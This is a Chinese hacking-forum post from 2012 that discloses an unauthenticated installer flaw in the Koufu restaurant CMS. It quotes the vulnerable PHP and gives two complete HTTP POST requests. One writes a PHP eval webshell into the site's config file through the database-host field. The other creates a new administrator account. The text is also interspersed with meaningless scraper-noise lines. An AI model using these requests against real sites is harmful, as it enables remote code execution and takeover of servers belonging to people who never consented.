中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后，会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
7 }! v$ O4 ? _6 T1 [0 r# O
' H5 G$ m6 w+ @% c0 D
<?php
2 Q ^7 ~% y5 z3 b$ F
if(file_exists("../install.lock"))
4 J1 o' g8 L5 [ W/ p% ~
{
9 M. m. c- {( Q
header("Location: ../");//没有退出
0 X( f( r" W5 s4 n* o% K
}
7 B, v k. I& H0 \/ }* e
& J' h, `% t: s% _% _! _
//echo 'tst';exit;
C) o9 N! [+ ~
require_once("init.php");
. M7 d+ R2 y% P& |* F
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
8 o" Y6 n F" N' H& x5 F. V
{
W9 D) I, D" }# l% D/ m
可见在/install/index.php存在时，只是header做了302重定向并没有退出，也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
]* P6 I+ } H# W3 c5 u
1 R/ O* l% x) P/ K- U, y
1、getshell（很危险）
$ ]8 B! I7 C: s* ^
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
1 j* b6 o/ w, f) [7 k' Q! ?
{
. D. z T5 Z2 w9 n1 O' Z- U
$smarty->assign("step",1);
0 P& S9 m6 T, q! Q6 h
$smarty->display("index.html");
8 t+ o+ d/ E6 P$ [% b4 N
}elseif($_REQUEST['step']==2)
6 C* A- e! t$ c' H5 l" e
{
: B# j1 S" i v; R; J
$mysql_host=trim($_POST['mysql_host']);
2 E' ?. k( z7 P6 I$ o0 t3 w2 m
$mysql_user=trim($_POST['mysql_user']);
$ ~' G$ i- Q: R% {+ \# m" |
$mysql_pwd=trim($_POST['mysql_pwd']);
4 ?! G0 k, l4 ^' p9 V! y8 Z
$mysql_db=trim($_POST['mysql_db']);
0 O4 G6 G o4 S: F( G$ U
$tblpre=trim($_POST['tblpre']);
& a( ]) L- |$ u O! j$ C
$domain==trim($_POST['domain']);
9 M3 K: h8 @2 Q% C* {3 |+ c0 H' }
$str="<?php \r\n";
; o1 h3 W. F, c* L( l0 Y C$ ]
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
0 S' Y: \8 p& @# D+ ^8 \; K3 E, x
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
8 U) |% e% g/ c# _( a/ r& U
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
- l! J& ]: j* J9 V2 d
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
6 t ?% P9 n0 D. ]- M8 o
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
: B, }( p4 Z, T2 b
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
8 C. C! D& ~7 [* w
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
' \, s- v7 g: R
$str.='define("SKINS","default");'."\r\n";
0 N- f8 @0 _ Z1 N. O# g# j! |
$str.='?>';
; T. j! ~* G) {* R
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
7 {3 ?( C, o/ J
上面的代码将POST的数据直接写入了../config/config.inc.php文件，那么我们提交如下POST包，即可获得一句话木马
" F# h+ `" [# q- L8 ^0 h1 A
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
0 W4 p0 N, u; W0 x" X
Host: 192.168.80.129
1 G7 i& }$ g, Y V
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
8 l1 b1 ^5 h0 z" t, ~1 s* p$ K+ p
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' q0 Z4 q% t* j! M3 c
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
$ y/ m" K4 |1 N6 w
Accept-Encoding: gzip, deflate
8 Z8 K) ?% W w" G% q- E3 D; q
Referer:
http://192.168.80.129/canting/install/index.php?step=1
* s# p N1 v' [; ^- X5 o3 v O
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
! R4 g# F& Y; b2 S2 W
Content-Type: application/x-www-form-urlencoded
" Z; O$ E; L. _- n/ Y) a
Content-Length: 126
, {) G4 x! j2 C# h% [
" e% m5 ^3 c2 M( X5 [2 b. K
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
% n$ t V ]- k1 e! s8 r
但是这个方法很危险，将导致网站无法运行。
( z3 [6 E2 l2 p5 y
! o; C8 W/ x/ ]
2、直接添加管理员
k; y! O- X" }3 J) t$ S) c3 N" J
5 j% U' `; [6 n' g
elseif($_REQUEST['step']==5)
; y3 `) `' D N
{
7 t* ^ T7 x9 u [0 d) x: m9 A. l9 x
if($_POST)
; V+ h0 p! Z8 s0 ^( W/ I
{ require_once("../config/config.inc.php");
) g, S' O6 j) a
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
+ ?+ j* r- Z9 J8 Z% ^5 I
mysql_select_db(MYSQL_DB,$link);
: o6 s1 @; W( _. o0 u" X
mysql_query("SET NAMES ".MYSQL_CHARSET );
* n7 I/ r$ P( R* f1 v
mysql_query("SET sql_mode=''");
9 y% I" o2 f/ L) Z
3 D9 v2 X: X9 s; {. X4 g
$adminname=trim($_POST['adminname']);
$ R( J% G5 G x4 v$ V
$pwd1=trim($_POST['pwd1']);
, E# F3 i! j8 T' f- ?) y+ j
$pwd2=trim($_POST['pwd2']);
& M) I( `0 R. A% i# ] I0 Y
if(empty($adminname))
+ i' T) H4 ^0 u) P
{
: n5 o* @! G$ R0 D& \& O
" P( {) t8 P& u
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
- l: Z q3 c& J
exit();
# j. H7 L9 X$ y& S
}
( f- c( z+ [" y; _: D; ^5 D7 S
if(($pwd1!=$pwd2) or empty($pwd1))
8 u; m+ {* w9 U3 @1 [( ~/ V
{
8 R+ l. E+ V- n
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
0 Z) ]/ f+ e/ F
}
6 `/ D! s% g+ {+ ?( @
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
5 N* ^" C% o: c/ `& u
}
) z7 w' }: Z( R8 S! O( [ ~
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号，语句如下：
( H" p U# B: b# w# f2 S
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
1 f! T* B3 R% W, Y7 A# {; }
Host: 192.168.80.129
1 n2 \4 _. }# F1 u" }
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
6 A" }8 W. r( t x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
& x; d' g S) A4 @/ a7 |
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
0 G; t7 L& ~+ { }* ]2 t
Accept-Encoding: gzip, deflate
. l$ R. b2 g3 [, f
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
, X( |/ K' ]! r0 v1 u2 z
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
1 ?7 V, u. H1 {' y
Content-Type: application/x-www-form-urlencoded
9 A7 B' G3 Z8 }% {! Y$ I
Content-Length: 46
8 D- T; B# c8 C0 A1 S0 {
# s" r( n3 l( {# e+ h5 r. V5 Y8 B
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
' e& {, [( e% n7 f) N6 W" p% ~
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2